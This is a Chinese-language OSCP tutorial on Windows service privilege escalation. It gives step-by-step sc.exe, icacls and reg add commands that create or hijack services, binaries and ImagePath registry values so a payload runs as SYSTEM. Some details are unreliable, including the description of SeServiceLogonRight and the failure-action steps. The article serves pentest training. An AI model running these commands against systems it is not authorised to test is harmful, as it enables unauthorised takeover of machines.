OSCP：Windows 服务提权详解

在Windows操作系统中，服务是一种特殊的后台进程，它们通常以较高的权限（如 SYSTEM 或 Administrator）运行。攻击者可以通过控制服务的创建、配置或运行过程实现权限提升（提权）。本文将详细分析Windows服务提权的原理，并结合具体应用场景讲解其实现方法。

Windows服务提权的原理

服务（Service）通常在系统启动时运行，具备较高的权限级别。这些服务通过注册表进行配置，并依赖特定的文件路径加载相关程序或DLL。当服务的创建或配置存在安全漏洞时，攻击者便可通过以下方式实现提权：

1. 创建新服务并指向恶意程序。
2. 修改现有服务的配置（如文件路径或参数）。
3. 替换服务所依赖的二进制文件或DLL。
4. 利用服务注册表配置错误。

攻击的核心在于利用高权限服务执行恶意代码，从而提升攻击者的权限。

常见的提权场景及实现方法

场景1：用户拥有配置服务的特权

在一些环境中，用户可能被授予管理服务的权限，但并不具备管理员权限。这种情况下，攻击者可以通过 sc.exe 或 PowerShell 等工具创建或修改服务，从而执行恶意程序并提权。

操作步骤

1. 使用 sc.exe 创建一个恶意服务：

   sc.exe create MaliciousService binPath= "C:\Path\To\Payload.exe" start= auto
   

2. 启动服务：

   sc.exe start MaliciousService
   

3. 恶意程序 Payload.exe 将以服务的权限运行，通常是 SYSTEM 权限。

关键点分析

• 攻击者需要具备“配置服务”特权（如 SeServiceLogonRight）。
• 该方法适用于目标环境中权限管理不当的情况。

场景2：修改现有服务的配置

当攻击者无法直接创建服务，但能修改现有服务的配置时，可以将合法服务劫持为恶意服务。例如，通过修改服务的 binPath 实现对服务行为的控制。

操作步骤

1. 查询现有服务：

   sc.exe query
   

2. 查看服务的详细信息：

   sc.exe qc LegitService
   

3. 修改服务的可执行文件路径为恶意程序：

   sc.exe config LegitService binPath= "C:\Path\To\Payload.exe"
   

4. 启动服务：

   sc.exe start LegitService
   

关键点分析

• 此方法利用的是服务配置的不安全性。
• 攻击者无需新建服务，只需控制现有服务的行为。

场景3：劫持服务的DLL或二进制文件

一些服务在运行时需要加载特定的DLL或依赖文件，如果这些文件路径未受到严格保护，攻击者可以替换或插入恶意文件，服务启动后会自动加载这些文件并执行。

操作步骤

1. 查询服务的二进制路径：

   sc.exe qc TargetService
   

2. 检查目标文件路径的权限：

   icacls "C:\Path\To\ServiceBinary"
   

3. 替换文件：

   • 将合法文件替换为恶意程序或DLL。

4. 重启服务以加载新的文件：

   sc.exe start TargetService
   

关键点分析

• 替换文件的前提是攻击者对文件路径具有写权限。
• 常见的DLL劫持还可以通过服务的加载顺序和未定义路径变量来实现。

场景4：利用注册表配置错误

Windows服务的配置信息通常存储在注册表中，如果这些注册表项权限配置不当，攻击者可以修改其中的关键参数（如 ImagePath），将服务劫持为恶意服务。

操作步骤

1. 查询服务的注册表路径：

   reg query "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>"
   

2. 查看 ImagePath 配置：

   reg query "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath
   

3. 修改注册表项，将可执行文件路径改为恶意程序：

   reg add "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Path\To\Payload.exe" /f
   

4. 启动服务：

   sc.exe start <ServiceName>
   

关键点分析

• 注册表配置错误通常是由于管理员未合理限制访问权限。
• 攻击者可通过替换服务路径实现对服务行为的完全控制。

场景5：利用服务失败重启机制

Windows服务支持失败后自动重启的功能，攻击者可以修改服务的 FailureActions 配置，使其在失败时执行恶意程序。

操作步骤

1. 查询服务的配置：

   sc.exe qfailure <ServiceName>
   

2. 修改 FailureActions：

   sc.exe failure <ServiceName> reset= 0 actions= restart/6000/run/1000
   

3. 指定失败后运行的程序路径：

   sc.exe config <ServiceName> binPath= "C:\Path\To\Payload.exe"
   

4. 强制停止服务以触发重启：

   sc.exe stop <ServiceName>
   

关键点分析

• 利用服务的自动恢复机制实现对服务的恶意控制。
• 该方法常用于隐蔽性更强的攻击场景。

总结

Windows服务提权是一种常见且有效的权限提升技术。通过创建新服务、修改现有服务配置、劫持服务文件或注册表，攻击者可以利用服务的高权限特性执行恶意代码。在实际攻击场景中，应结合环境权限、服务配置及文件路径等多方面信息选择最优的提权方法。